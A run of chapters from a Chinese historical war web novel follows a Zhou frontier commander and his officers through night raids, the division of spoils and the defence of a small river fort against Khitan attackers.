是夜,双涡堡北岸,风雪声掩盖了天地间的一切杂音。
契丹人的营寨篝火稀疏,哨兵们缩着脖子,咒骂着鬼天气,他们根本想不到,一向被动防守的周军敢在如此恶劣的天气下主动出击。
堡主张富贵,这个杀猪出身的猛男果断出击。
他亲自挑选的百余敢死士,人衔枚,马裹蹄,马辔头也特地缠上布条以防出声,碰撞响。
战士们用草木灰泥涂抹在铁甲最易反光处,悄无声息地过河,如同雪地中悄然移动的幽灵。
今天白天,双涡堡,拒马河对岸同样来了,一群契丹**兵,数量不少,至少也有四五百人。
他们安营扎寨,更是有许多游骑策马来到河面上跑动,甚至越境挑衅,十分嚣张,张富贵心中愤怒,观察**许久,又想起秦猛的转告,于是让王铁山率队防守,自己率队袭营。
快要靠近**营地,张富贵压低声
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音,话语却带着烫人的热量:“弟兄们,狗**白天嚣张够了,今晚轮到咱们去给他们‘暖暖身子’。”
“记住,出手要狠,动静要小,专挑军官帐篷和马厩下手。接应队伍会用**为我们掠阵!”
队伍如一把漆黑的**,无声地逼近契丹营寨。
契丹人显然大意了,外围的鹿角拒马设置得稀稀拉拉,巡哨的间隔也长得足以让一支小队渗透进去。
张富贵打了个手势,几名身手矫健的斥候如狸猫般剪断了营栅处的绳索,开辟出几个缺口。队伍鱼贯而入,五人一组,扑向最大的毡帐。
杀戮在寂静中骤然爆发。
张富贵一马当先,弯刀划过寒光,一名刚从帐篷里揉着眼睛走出来的契丹十夫长便被抹了脖子,一声未吭就软倒在地。
与此同时,其他小组也纷纷得手,沉睡中的契丹兵在睡梦里就去见了长生天。
有人将带来的火油罐奋力抛向帐篷,火箭随即跟上。
“轰”的一声,几处火头在北风中迅速蔓延开来,照亮了纷飞的雪花。
“敌袭!周军袭营!”
混乱中,终于有契丹士兵反应过来,凄厉的呐喊划破夜空。
但为时已晚。营寨已乱成一团,不少契丹士兵衣甲不整地冲出帐篷,想要第一时间找战马,却迎面撞上的却是周军冰冷的刀锋和**箭。
张富贵目标明确,直奔中军大帐,途中遭遇一名闻讯赶来的契丹猛将,对方挥舞狼牙棒势大力沉。
张富贵却不硬拼,侧身闪过的同时,弯刀如毒蛇般探出,直刺其腋下甲胄缝隙,那猛将惨叫一声倒地。整个上半身,几乎划成两半。
张富贵眼疾手快,夺过趁手的狼牙棒,狂甩猛砸。凡是挡路的**兵都被打了个脑浆迸裂。
本部骑兵奋勇冲杀,契丹营瞬间大乱。
“杀,杀**!”王铁山率接应骑兵在暗处蓄势,待袭营周军发起攻势,立刻挥师紧随其后。
王铁山在后面,指挥随**对准试图集结抵抗的契丹小队猛烈发射,密集的**箭将人和帐篷一同撕裂。
张富贵带队在前冲杀,王铁山带领队伍分散射杀。
契丹今天刚修建好的营地中杀声震天。带队的当户勇士没上马,就被张富贵一棒子打死。
群龙无首,**更是一盘散沙。
契丹兵溃不成军,四处逃窜,被烧死、斩杀者足有三四百人。逃窜的小股契丹兵刚踏上冰面,又被**精准锁定,人仰马翻,死伤惨重。
最终,仅数十骑侥幸逃脱。
张富贵率众追杀返回,迅速打扫战场,凯旋双涡堡。
清点战果:己方仅折损两三人,受伤二十多个;斩杀敌军四百余,含数名将领,烧毁敌营粮草辎重无数,更收拢了数百匹草原战马……
他望着对岸冲天火光,朝雪地里啐了一口:“呸!让这些狗达子也尝尝睡不成安稳觉的滋味!”
第168章 痛并快乐着
北狼口大捷的军报,是在战后第二天大清早送到的。
探马背上插着三面赤红令旗,马蹄子踏碎黎明前的安静,一路喊着“捷报,北狼口捷报——”
冲进军寨直到官署前才翻身下马,把一份沾着点暗红血印的绢书,呈给闻声冲出来的秦猛。
秦猛展开绢书,一眼扫到“伏击成了,歼敌八百,缴获甚多”等字样后,嘴角刚翘起来。
飞虎卫亲卫营统领赵平、副统领周扬闻讯赶来了。
两人凑过来看,瞧见“八百狼戎全军覆没”“缴获六百多匹草原战马”,当场就拍着手笑。
可往下一看“伏击杀死,敌人溃散时自相踩踏,一共**近千匹马”。两人脸上的笑立马僵住,随后迅速变成了心疼得直叹气的模样。
“可惜啊!太可惜了!”
“这都是上好的草原战马,有钱都难买得到!”赵平连连跺脚,周扬则使劲捶着自己手心。
“心疼做甚?只要咱弟兄还在,还怕没好马?”秦猛是饱汉不知饿汉饥,反倒安慰起两位统领。
“死马也是好东西。马肉能犒劳三军,让大伙儿沾点荤腥;马皮硝好能缝皮甲、做马鞍。
马骨能熬胶、榨油。眼下最要紧的,是把这些战利品全运回来,一点肉渣都别留给**!”
“唉,现在也只能这样了。”周扬也明白事情已经发生,这是最好的办法,就是忍不住可惜。
“可不是嘛!将军要是知道了,是袁飞这小子带队。肯定得训斥他不够小心。”赵平想起带队之人,脸上神情有些古怪,像是幸灾乐祸。
秦猛用指节敲了敲战报上“恳请赶紧派人手来运物资”那行字,对两人说:“这才是眼下最头疼的事。
主寨昨天刚打完仗,缴获的东西堆得跟山似的,还没清点完,北狼口这边又要不少人手,实在是挪不开。”
赵平一听就笑了,“秦知寨,别的将军愁没胜仗打、没东西缴获,你倒好,愁胜仗太多、缴获太丰!这种烦恼,不知道要让多少同僚眼馋!”
“就是!”周扬也附和着笑了。
笑声还没停,又一匹快马跟旋风似的冲到官署前,骑士嗓子哑着却透着兴奋:“报——!
双涡堡夜袭大捷!张富贵将军带队过河夜袭,烧了敌营,杀了五百个敌人,缴获几百匹战马!”
官署内瞬间安静下来!
那是秦猛在内的众人都有点愕然。
随后他爆发出比刚才更加响亮的赞叹,议论。
一向心高气傲的赵平,也忍不住跟周扬对视一眼,两人眼里都透着佩服。
他大步上前,对着秦猛,郑重地抱了抱拳:“秦知寨,北狼口靠地形设伏,双涡堡夜袭跟天上掉下来的雷霆似的,加上主寨打退敌人。
三战三胜,一共杀了两千多个**!
这么大的战功,我们今天亲眼看见了,才知道啥叫‘用兵如神’。陷阵营组建不久,可这个名声,真是知寨和弟兄们一刀一枪拼出来的!”
周扬也感慨道:“以前赵将军经常称赞你有头脑,会打仗,心里有些不服,觉得将军偏袒。
这次亲身经历了,才知道秦知寨捕捉战机有多敏锐,用兵果断狠辣,比我们想的厉害多了。比我们要强,赵将军这么看重您,真是有眼光!”
秦猛将手里的战报随手扔在桌上,摆着手笑:“赵大哥、周大哥,别再捧我了。胜仗是前线弟兄拼命打出来的,我不过是尽了本分。
再夸下去,我脑子一热,心态膨胀,下次说不定就成了骄兵必败,我可以找你们算账喽!”
“哈哈哈……”官署内爆发出大笑声。
秦猛揉了揉眉心,露出了真真切切的疲惫,“打胜仗当然高兴,但战后安抚伤亡弟兄、治伤、稳住民心、清点缴获,一堆事儿等着办,这才真叫磨人。”
他这话刚说完,老保长王槐就捧着一卷刚统计好的清单冲了过来,额头上全是汗,也顾不上跟赵平、周扬等人打招呼,急急忙忙禀报。
“秦将军,隆巴顿部的缴获已初步清点完了,光完好的战马就有一千三百匹,驮马五百多。两百多匹伤马已经送医营了,五百多匹死马。”
“兵甲更是堆得满当当!铁鳞甲三百二十副、锁子甲五百五十副、各种皮甲上千副,**两千多张,长矛弯刀无损的千八百,损坏的……”
“屠宰场那边白天黑夜不停地处理死马,已经抽走两百个劳力了。加固雪墙,修复陷阱,修建营房……寨子里的人手实在周转不开了!”
他抬起头,眼巴巴地看着秦猛,“那北狼口和双涡堡的缴获……是不是也得咱主寨协助?”
“那还用说!”秦猛苦笑着点头。
老保长立马苦着脸喊:“哎哟,我这把老骨头哎,这、这简直要了老命啊!咱们寨子才刚支棱起来,人手有限,哪经得住三处一起折腾?”
秦猛琢磨了一会儿,立刻叫来了行营主簿诸葛风:“子壑,赶紧从辅兵营挑两百个结实的,派个得力的队正带着,马上去支援北狼口。”
一定得在**主力反应过来前,把战马尸体、物资运完、兵力整顿好,中途也不能大意。”<
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br>“属下明白!”诸葛风领了命令,转身就去办了。
周扬见这情况,开口说:“秦知寨别太担心,李雄是我老熟人,办事靠谱,肯定已经派人通知南河城寨,他们一定会派人来帮忙的。”
好像是为了印证他的话,亲卫队长王善快步跑来说:“将军,好消息,南河城寨的车队到了!
有一队正兵护送,还有三百个民夫,说是奉魏知寨的命令,来军寨会合,帮忙运战利品的。”
“说曹操,曹操到。”秦猛一听愣了下,顺口就说了出来。
见赵平、周扬一脸疑惑,他知道这个异世界可没有曹孟德,也不多解释,马上站起来。
“走,一起去看看。”
一群人走到寨后门,就看见一支由一百多辆大车组成的车队抵达,车轮轱辘轱辘响,扬起雪沫子。
带队的是南河城寨的一个队将,看见秦猛等人,赶紧翻身下马,抱拳道:“卑职**,见过秦知寨、赵将军、周将军!”
“王队将辛苦了,不用多礼。”秦猛温和地笑道:“车队先在寨外歇会儿,我们派人跟你们一起去。”
很快,诸葛风组织好了人手。阮大点齐五十个新兵,护送百多辆大车,一同赶往北狼口。
看着载着工具的车队慢慢离开,秦猛轻轻吐了口气:“哎呀,胜仗越多,缴获越丰,我这军寨的压力就越大,真是一刻都松不了劲。”
“哈哈哈,秦将军,您这可是幸福的烦恼啊!”赵平和周扬忍不住笑了。
周围忙碌的士兵们听见了,也跟着笑起来。胜利的喜悦和满满的收获感,暂时压过了战争阴霾。
……
跟众人分开后,秦猛刚回到官署,还没来得及喝口水。老保长王槐就又凑过来,压低声音说。
“秦将军,清点缴获的时候,还发现了几条契丹贵族的金腰带、几把镶着宝石的**之类的。
纯金,宝石也是真货。做工特别精细,不是普通物件,我没记账。您看……要不要单独封起来,或者挑些好的,送到上面打点一下?”
秦猛用手指摩挲着温热的茶杯边,琢磨了一会儿,摇着头说:“不用。按规矩,挑一两件不显眼却能显心意的好东西,跟着战报一起送给赵将军,剩下的全充公,折算成军资。”
“老爷子,这三场大胜之后,咱们军寨已经太显眼了,接下来恐怕要面对**疯狂的报复。
这些缴获,是咱们以后军寨的发展,是咱们撑过一场场恶战的本钱,一丝一毫都得用在刀刃上。”
“老头子明白!”
第169章 战利品与**
时近正午,暖日当空。
温暖的阳光带来虚假的暖意,气温越来越低了!
铁血军寨的南门缓缓开启,一列蜿蜒如长蛇的车队出现在官道尽头。
百多辆牛马大车满载着双涡堡夜袭的战利品,车轮碾过积雪发出沉闷的吱呀声,徐徐驶向军寨。
寨门前早已等候多时的诸葛风、李恒等文吏立即迎上前去。
诸葛风手持册簿,目光如炬地扫视着车队。
李恒则带着几名算吏迅速清点车数,低声交换着数字。
“报!”前哨骑兵飞驰而至,利落地下马禀报。
“双涡堡送来战利品,计有良马三百匹,各类甲胄兵器五十车,金银饰品两箱,另有契丹旗帜、金符、印信等物。”
诸葛风微微颔首,展开册簿开始记录。
他注意到这些运送战利品的牛马大车本身也是缴获的一部分——车辆坚固耐用,拉车的牛马膘肥体壮,显然都是精心挑选的上等货色。
车队如长龙般缓缓驶入军寨,在中央广场依次排开。
最先引人注目的是那三百匹契丹良马,匹匹神骏非凡,**色油亮,被熟练的马夫牵往马厩。
几名军士捧来几个木匣,匣中盛放着几面染血的契丹旗帜、一枚金符和一方铜印。旗帜上的鹰隼图腾狰狞欲扑,金符上刻着契丹文字。
——这正是契丹大当户的身份象征。
随后而至的是装载甲胄兵器的大车,虽然部分甲片已有破损,但经过工匠修缮后仍能使用。
武器中以弯刀,角弓居多,也有长矛、骨朵,狼牙棒等重兵器,显示出契丹骑兵装备的特点。
最令人瞩目的当属那几两箱金银饰品。当文吏们打开箱盖时,周围顿时响起一片惊叹之声。
箱内堆满了精美的金银器皿、耳环、戒指,镶嵌宝石的腰带扣、雕工精细的**,以及各种首饰。
这些物件不仅材质珍贵,更是精每,显然来自契丹贵族。
“好好好,老头子亲自统计。”老保长王槐闻讯赶来,越来越财迷的老人笑得露出一口豁牙。
黄昏时分,往东的快速通道尽头,人喊马嘶声由远及近,北狼口返程的队伍出现在众人视野中。
运送战利品的队伍蜿蜒如长龙,马匹的嘶鸣声与车轴的嘎吱声交织在一起,引起了军寨轰动。
秦猛站在寨门前,目光如炬地扫视着这支满载而归的队伍。
战马尸体与各式武器装备堆满了大车,血腥味与尘土气息混杂,却让人莫名感到一种胜利的踏实感。
“将军,按照您的吩咐,战利品一分为三。”
亲卫队将牛五捧着册子快步走来,低声禀报,“将军,南河城寨的那份战利品已直接拉走。
亲卫营赵统领只带走了二百匹活马,剩下的死马和武器装备,周统领说他们作战繁忙,无暇处理...”
秦猛嘴角微微上扬,露出一丝了然的笑意:“这些正规军精锐,自然是看不上这些‘破烂’的。无妨,我们接手便是,给他们分些马肉。”
他心照不宣地接下这份看似繁琐实则宝贵的善后事宜,立即调动军寨劳力和工匠,开始分拣装备、处理死马。
附寨新设立的屠宰场很快便热火朝天地运转起来,剥皮、分肉的工序有条不紊地进行着。
然而,随着对伏击狼戎战利品的清点深入,专门统计银钱的老保长却越发不满。
他拎着一个小布袋子,骂骂咧咧地走到秦猛面前:“将军您瞧瞧,这群狼戎真是穷酸玩意!
铁甲多是锁子甲,铁鳞甲少得可怜,武器粗糙不说,大多身上连个像样的金银饰品都没有!”
老保长愤愤地啐了一口:“想想契丹人的饰品是用麻袋装的,这狼戎部简直寒碜得让人失望!”
秦猛闻言哈哈大笑,安慰老保长:“老爷子,一个不受待见的黑狼部落,能有什么好东西?咱们有这些缴获,已经足以武装弟兄们了。”
夜幕降临,铁血军寨却灯火通明,宛如不夜城。
寨门大开,一队队辅兵和民夫川流不息,将来自双涡堡和北狼口的战利品陆续搬运进寨。
铠甲碰撞声、兵刃摩擦声、文吏高亢的报数声与号子声混成一片,奏响了忙碌而充满希望的乐章。
秦猛独自登上官署前的瞭望楼,背负双手地看着寨外如火龙般蜿蜒的行列,目光却渐渐深沉。
他望向远处漆黑的夜空,仿佛要穿透那无边的黑暗。想着**主力赶来后,如何来犯军寨。
“将军,两位统领来了。”牛五的喊声从楼下传来。
秦猛收敛心神,稳步走下瞭望楼。
赵平和周扬统计完战功,安排完夜间防务后,又连袂而来。两人脸上都带着胜利的喜悦。
周扬望着寨内热火朝天的景象,不禁感叹:“如此丰厚的缴获,许多边军大寨一年都未必能有。秦知寨,经此一役,军寨实力大增。
不过**主力即将来袭,不知接下来有何应对?”
秦猛没有立即回答,他沉默片刻,声音沉稳如铁:“战利品固然是好东西,能武装弟兄、振奋士气。也能够变卖,折算成钱粮充作军需。
但若是我们抵挡不住敌人的进攻,一切皆是虚妄。打胜仗,战利品,便是拖垮我们的累赘。”
他转身面对两位统领,语气坚决:“王老爷子正在全力处理这些缴获,而我们当下要做的。是让弟兄们在胜利的鼓舞下保持斗志,依然绷紧弦、磨快刀。真正的考验才刚刚开始。”
“说的极是!”赵平与周扬相视一笑,他们原本担心秦猛会因胜而骄,此刻看来完全是多虑了。
这位年轻知寨的清醒与远见令人钦佩。
秦猛继续下达命令:“传令下去,今晚犒劳三军,酒肉管够,让弟兄们好好放松!<
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br>但必须分批次进行,各营岗哨和寨墙巡逻都要加派人手。斥候往前派出十里,再挑选身手利落的渡河侦察敌情,绝不能有丝毫松懈!”
命令迅速传遍军寨,各队严苛执行。
多处校场上篝火燃起,染红了半边天,一股肉香弥漫。
军民扎堆,笑声不绝。
整个军寨沉浸在战后的欢庆与希望中。
然而,就在铁血军寨庆祝胜利的同时,三十里外的拒马河北岸,**主力正在暗夜中悄然抵达。
契丹酋帅萧铁鹰站在土丘上,凝视绵延数里的营寨。数千骑兵护送粮草在背风地带扎下营盘。
草原游牧民族独特的扎营技艺展现得淋漓尽致——毡房以牛皮和毛毡搭建,呈规律的环形布局,既利于防风保暖,又便于相互策应。
外围设有多重警戒,巡逻队交错分布,显示出严谨的军事素养。
萧铁鹰巡视营地,督导各部加强防范。
他眺望界河方向,眉宇间透着凝重。明日即可抵达河畔,届时将与对岸的周军正面交锋。
然而,就在这个念头刚冒出来时,一骑快马冲破夜色,亲兵脸色难看地奔至面前,吞吞吐吐地禀报。
“酋帅,出…出事了!”
“大当户莫尔麾下败兵寻来,说是昨日深夜遭遇周军袭营,莫尔部近乎全灭,只逃出寥寥数十人...”
“混帐,该死!”萧铁鹰勃然大怒,额角青筋暴起。
他立即唤来溃兵详细了解情况,越是倾听,脸色越是阴沉。
即便加强戒备的命令已送达莫尔部,这位大当户却因醉酒误事,来不及上马应战就被周将击毙。
这惨败不仅损失了部落五百精锐,更证明他的猜测。
——河对岸的周将绝非等闲之辈。
“莫非是飞虎卫赵起亲至?”萧铁鹰脸色阴晴不定。
但随即他自我否定地摇头。
根据可靠情报,赵起此刻仍在幽州无法脱身。
“想必又是那个秦猛所为?果然是个狠角色!”萧铁鹰眺望南方夜空,脸上浮现一抹狰狞的冷笑。
他意识到对面这个年轻对手用兵果断、狠辣,敢冒险,善奇袭,绝不能以寻常边将视之。
这时,萧铁鹰的几个亲兵飞马来报,说着什么。他神色略微松弛,当即传令,调整部署。
“夜间外部岗哨不变,内部守卫翻倍,粮草分散至各个营房。和甲而眠,谁敢卸甲,杀无赦!
令达尔哈部收拢莫尔残兵,即刻赶赴渡口,反夜袭那座戍堡。萧克,德隆两部分别前往……”
命令如涟漪般传遍营地,契丹骑兵主力开始悄然调动。
除半数留守营地外,三股精锐骑兵分三路悄然出发,如暗夜中的狼群,悄无声息地融入夜色。
“秦猛?本帅就陪你好好玩玩!”
萧铁鹰望着远去的三股骑兵,笑容冰冷而狰狞。
第170章 篝火为饵,暗夜杀机
铁血军寨举办着篝火宴,氛围欢庆。
随着此战功臣袁飞、李山、刘铁柱等人率队护送最后一批死马和物资归来,气氛更加热烈。
寨前军营也点燃篝火,庆贺的喧嚣随风飘荡,肉香混合着马奶酒的醇香,在寒风中飘出很远。
秦猛撕咬着带着膻味的炖马肉,又切了块烤得焦香的烤马肉狂嚼,最后灌了一口马奶酒。
他砸吧嘴,一语双关地叹气。
“哎,这味道不咋的。还得抽个时间改良烹饪,不然跟草原**何异?不像有些人,穿上汉服,他终究是鞑虏,看几本兵书就成名将了?”
他吃饱喝足,一抹嘴,独自走出官署校场,登上三丈高的寨墙,远眺北方漆黑的夜空。
寒风卷着雪沫子扑面而来,他却浑然未觉。
“将军,为何独自在此?”诸葛风不知何时出现在身后,手里还拎着一个食盒,好奇地问道。
“子壑啊!”秦猛未回头,声音低沉得如同这夜色:
“我在想,萧铁鹰得知前锋全军覆没,侧翼被袭,会作何反应。”
诸葛风略作沉吟,答道:“契丹酋帅素以狡黠著称,折损一千五百余人,必不会善罢甘休。
我军连胜两阵,士气正盛,但敌众我寡的局面仍未改变。萧铁鹰以善战闻名,又是王庭册封的酋帅,是要脸面的,必须要搬回一局。”
“正是如此。”秦猛转身,目光在夜色中灼灼发亮,“根据拷问的情报,其数千主力是因护送粮草物资慢行,才走不快。
我若是萧铁鹰,必会派出多路探马侦察敌情,甚至监视河对岸的堡寨。咱们这大片篝火如何瞒得住?”
他伸手似是要触摸寨中冲天的火光,声音凝重:“接连得知噩耗,必然狂怒,反手来袭。
如得知周军篝火相庆,趁我军庆祝松懈之际,派出精锐进行偷袭,甚至可能尝试夜袭本寨。”
话音刚落,寨后门一阵嘈杂,是护送战利品去南河城寨的队伍返回,几匹快马飞奔而至。
阮大、阮二、阮三哥仨在马上就高声禀报:“将军,归来途中,十几里外可见军寨火光冲天。”
“七八里地时,寒风呼啸中,隐约能够听到山寨嘈杂说笑。”
他们协助护送最后一批战利品,同时秦猛也交给他们这个任务,从而来佐证自己的猜想。
七八里地?河北岸即便是逆风,也能听得见!
秦猛双眼眯起,不等三兄弟下马就立刻下令:“你们分头去请赵将军、周将军来议紧急军情。
通知秦副将及燧堡,照常庆祝说笑,实则准备作战。告知李山、刘铁柱等将领,各就各位,全军进入战备状态,记住,篝火宴不要停。”
“遵命!”阮家兄弟应声拨转马头,疾驰而去。
秦猛的声音斩钉截铁:“诸葛先生,烦请你协助王老爷子稳住后方,组织劳力协助城防。”
“好,我这就去。”诸葛风拱手离去。
军寨内的气氛悄然转变。
校场上宴会不止,依旧载歌载舞,氛围越发热烈。
但许多士兵迅速放下酒碗,拿起兵器,跟随各自伍长、什长,井然有序地奔赴战斗岗位。
经历连番胜仗,他们对秦猛的判断已毫无疑虑。
片刻之后,赵平和周扬全副武装赶到官署大厅。
秦猛站在简陋的沙盘前沉思——这是他带亲兵制作的。大概地貌就是拒马河及周边戍堡。
赵平、周扬初见时觉得稀奇,此刻也已见怪不怪。
“两位统领来了。”秦猛打了个招呼,直奔主题,“时间紧迫,没有确切消息,这只是我个人判断。
**损失惨重,萧铁鹰为了颜面绝不会善罢甘休。”
秦猛顿了顿,手指点向沙盘上拒马河边的几处要地:“双涡堡是首要目标,铁血军寨其次。
上游这个护河堡,扼守运河入河口,至关重要。但防御薄弱,估计也在**必拔摧毁之列。”
“我希望两位统领各自带队,赶赴双涡堡、护河堡协防。”
“我们走了,那铁血军寨呢?”赵平眉头紧蹙。
“军寨防御坚固,兵多将广,即便数千**强攻也能支撑到救援。而两个小堡情况堪忧,必须增援。”
“可寨中大多都是新兵。”周扬也有些不放心。
赵将军曾再三叮嘱过要护住铁血军寨,确保秦猛的安危,这可是飞虎卫杰出的年轻将领。
“不用担心,防守战正好练手。”秦猛明白两人的担忧,“再说了,不是还有袁飞在吗?留下两三百精锐即可。
这两个戍堡绝不能丢,一旦攻破,百姓惨遭屠戮。会极大打击我军士气,助长敌方气焰。”
“好,我们即刻出发。”赵平、周扬沉默片刻后,果断应下。
他们跟随赵将军多年,耳濡目染,颇有军事才能。深知敌军吃了血亏后必定报复。虽不知对方如何用兵,但他们愿意相信秦猛的判断。
“周扬大哥那路要快,但不可轻动。双涡堡有数百军卒,防守战时不必着急出手,也不能小瞧**,要伺机而动,打对方个措手不及……”
“赵大哥这边,行军要不快不慢。我不能保证**目标真是护河堡,也可能直扑铁血军寨。若是后者,当见烽火、号炮为号,你就……”
秦猛又拉着赵平、周扬细说作战计划。两位久经沙场的统领听得面露惊异,却都重重点头。
计策既定,铁血军寨的战争机器再次高效运转。
在夜幕的掩护下,两支队伍悄无声息地开出驻地,一路往西,一路往东。
军寨士卒各就各位,箭矢、滚木礌石堆积如山,如同张开的布袋,等待自投罗网的敌人
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。
……
十余里外的双涡堡,此时却呈现出截然不同的景象。
这座位于拒马河畔的戍堡规模较小!
张富贵、王铁山昨夜带队过河夜袭,斩获颇丰,百多匹死马被军卒人拉马拽回来剥皮取肉。
今夜堡中也点燃篝火庆祝。
张富贵**行赏,家家分肉,堡内一片喜庆。
然而,守备却明显松懈许多。
戍堡正墙之上,只有稀稀落落几个哨兵。老兵王四裹着新得的毛皮衣,暖和得直打哈欠。
“这群狗**吃得好,穿得好,怪不得长个儿。”他骂了声,对身旁的年轻哨兵张二狗道。
“狗子,咱军堡连夜处理百多匹死马,从未这么阔绰过。嗯,好香啊,这肉香飘出好几里地。”
王四耸动鼻子闻着肉香,看着身旁纸包里的烤肉,摸了摸鼓胀的肚皮:“实在吃不下去了。”
张二狗咂咂嘴:“可不是嘛!要我说,双塔城寨红春楼的姑娘再诱人,也不如一碗热腾腾的马肉实在。等轮岗完了,咱去讨碗奶酒喝……”
就在这时,张二狗突然停下话头,侧耳倾听,疑惑道:“四叔,你听是不是有什么动静?”
王四不以为然地嗤笑:“这鬼天气,咱这又是堡正墙,前面是冰河,没**会来攻打。你小子是不是想着红春楼的姑娘想出幻听了?”
他边说边探出头,懒洋洋地向外张望。黑暗中寒风呼啸,冰河面上隐约反光,空无一物。
“除了风声还能有……”王四安下心来。
可一个“啥”字还未出口,异变骤生!
凄厉的破空声响起,几支利箭疾射而来!
“敌袭!”王四经验丰富,边大吼边矮身趴下,一支箭矢擦着他头皮钉在木质箭楼梁柱上。
张二狗反应稍慢,被王四推得踉跄,原本射向胸口的箭矢只擦伤他肩膀,带出一串血花。
“敌…敌袭!**来了!”张二狗见冰河上有大群黑影扑来,捂着伤口,发出杀猪般的惨叫。
王四虽惊不乱,扯过号角,放到嘴边,奋力吹响。
呜、呜、呜……
急促的牛角号顿时响彻戍堡。
原本安宁的双涡堡瞬间沸腾起来。
寨墙下营房内的军卒在队长带领下纷纷登墙。
堡主张富贵和王铁山闻讯提刀冲出。
“各就各位!**手上墙!”张富贵高声组织抵抗。
话音未落,堡后门方向隆隆声响逼近,接着,传来第二阵急促的牛角号,带着更为急促的颤音。
是示警“腹背受敌”的信号。
“该死。”张富贵额头青筋凸起,气急败坏的骂着。
“老王,你带人守住前门。”
“后门那些狗杂碎,老子要弄死他们。”
在张堡主的骂声中,他与王铁山各自带队迎敌!
第171章 烽火双涡
“杀!”双涡堡的杀声刺破黑夜!
与往日**骑兵呼啸冲锋的战术不同,此次他们换了全新打法。
堡前门方向,**弃马步行,扛着云梯与钩索,借着夜色的掩护,从多个方向同时发起进攻。
与此同时,堡后门也出现大批敌踪,大队骑兵如潮水般涌来,蹄声隆隆,震得地面微微发颤。
更令人心惊的是,这批**训练有素,行事极为狡猾。他们渡河时竟未发出丝毫声响,直到逼近戍堡百米范围,才突然发起了冲锋!
这般出其不意的突袭。
换作其他防备松懈的戍堡,必然会被瞬间攻破!
所幸秦猛加强戒备的军令早已送达双涡堡,张富贵早有准备。他提前将兵力调配妥当,前后门营房内各留数十名精锐戍卒昼夜待命。
警戒号声响,他们便立刻拎起兵器登上堡墙。箭矢如雨,雪球似冰雹,将敌人的首轮偷袭打退。
堡前门,来袭的**足有三百余人,且全为步兵。
他们装备精良,铁甲泛着冷光,从十余架云梯开始攀爬,**举盾格挡箭雨,攻势凶猛。
短短片刻,便已有数人翻上堡墙。
“**,给老子死!”王铁山拎着一条长柄大刀,从垛口后纵身杀出,刀刃带着呼啸的风声劈下,一刀便将刚爬上来的**头颅削飞。
带着铁盔的头颅砸在冰面上,发出“哐啷”声响。
王铁山本就擅长攻防作战,此刻左手持盾抵挡流箭,右手挥刀接连劈杀,迅速稳住了局势。
“弟兄们,都不要乱。”
“**不擅攻城。躲在掩体后放箭,切勿暴露身形!”
王铁山一边挥刀斩杀爬墙的**,一边高声指挥。
“点燃烽火,向周围堡寨示警!”
“是!”几名戍卒齐声应命,快步奔上烽火台。
火折子与柴草接触的瞬间,烽火台燃起熊熊大火。
铺堡两处烽火全被点燃!
几乎就在同一时刻,两三里外的烽燧堡也燃起烽火。
三簇火光交相辉映,将双涡堡半边夜空映得通红。
——这意味着,草原上的**发动了全线袭击。
“直娘贼,给我狠狠砸死这**的。张富贵率领队伍登上堡后门墙头,粗哑的骂声响彻不绝。
**此次来袭显然做足了准备。
大队骑兵在堡外列阵掩护,弓箭手不停射箭压制堡墙上的守军;另有不少**趁机冲来,或扛着云梯冲锋,或抱着干柴草丢向堡墙下。
后方的火箭随即嗖的射来,精准命中柴草堆。
柴草遇火即燃,熊熊火焰炙烤着堡墙上临时修补的豁口冰墙,冰层在高温下滋滋融化,顺着墙面流淌,很快便露出内里松散的泥沙。
但是张富贵在此坐镇!绝非临时应对。
他早已察觉**动静,做好了打大仗的万全准备。
其一,守城物资全靠就地取材,堡内男女老少齐上阵。壮劳力将积雪压实成大小硬雪球,堆积如山。
老人与孩童则四处搜寻合适的石块,搬运至墙根;箭矢、滚木、礌石等物资早已筹备妥当。
数量足以支撑持久作战。
其二,近半个月来,他对戍卒展开了极为严苛的操练。
不仅是自己麾下的百余名心腹,连双涡堡原有的近百戍卒与青壮,也被纳入操练范围。
此刻的守军人人身披铁甲,手挽强弓,眼神坚毅,气势逼人,与往日松散的状态判若两人。
“放箭!”张富贵见**再次攻来,高声下令。
箭矢如雨点般从堡墙上倾泻而下,冲在前方的**兵接连中箭倒地,尸体很快在堡墙下堆起一层。
但**攻势不减,后续部队立刻补上,他们悍不畏死,踩着同伴的尸体继续冲锋,悍不畏死。
“给老子用雪球狠狠砸!”张富贵恶狠狠的大吼,
他亲自弯腰捡起一个硬邦邦的雪球,瞄准一名正举弓射箭的**兵砸去,直接将其砸**下。
其他军卒躲避箭矢之余,也纷纷效仿,将雪球往堡外**群中狂丢。小雪球虽不足以致命,却能打得**鼻青脸肿、或从马上跌落。
那些数十斤重的大雪球则威力惊人,砸中人时能直接将人掀翻,运气不佳者,被砸中头颅,当场便落了个脑袋开裂,惨叫着坠马而亡。
双涡堡的李保长第一时间组织劳力搬运物资。
一捆捆箭矢、一堆堆雪球通过梯子不断送上前后堡墙。
一桶桶烧得滚开的沸水也由青壮抬着、妇人拎着,送到墙头缺口处,用瓢舀着向外面泼洒。
“啊——”被沸水泼中的**发出凄厉惨叫,脸上瞬间起满水泡,皮肤溃烂脱落,从云梯上翻滚而下,在冰面上挣扎片刻便没了声息。
**本就不擅长攻城,再加上堡内物资充足、军民同心携手作战。
即便他们身披铁甲,也挡不住滚木、礌石、沸水与雪球的轮番攻击,不断有人倒在冲锋路上。
反观守军,有堡墙作为天然掩护,大多只是被流箭擦伤,真正阵亡者寥寥无几,伤亡远小于**。
然而,堡内兵力尚且充足、物资也足以支撑。
唯独堡墙难以承受这般冲击,多处缺口的冰墙被火焰融化,内里用泥沙堆砌的临时墙体失去支撑,在**骑兵的轮番冲撞下,摇摇欲坠。
“守住缺口!绝不能让**破墙而入!”
张富贵在心中咒骂着蛀虫黄安,亲自提刀守在最危急的缺口处,接连劈倒两名试图破坏冰墙的**兵。
林军表现出色,在墙头指挥其他戍卒。
“滚木礌石准备——放!”
沉重的滚木从墙头砸下,正在攀爬云梯的**兵惨叫着跌落,连带着云梯一同断裂。
可新的云梯很快又被架设起来,一波波冲锋如潮水般涌来。
战斗进入白热化阶段,戍堡守军凭借地利防守。
可**人数远超守军,攻势一浪高过一浪,压得人喘不过气。
突然,堡后门一处年久失修、仅用冰墙临时修补的部位,被**用撞木撞开缺口,在泥水飞溅中,十几个**兵挥舞着马刀,蜂拥而入。
若是寻常
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戍堡,此刻已然陷落。
然而,他们刚冲进缺口,就撞上一道枪林。
——五十名**兵早已列阵以待!
“刺!”队长廖权,一声令下,**如林突刺。
这些守军昂首挺胸,穿着缴获的**铁甲,手持制式丈八**。显然是经过严格训练的戍卒。
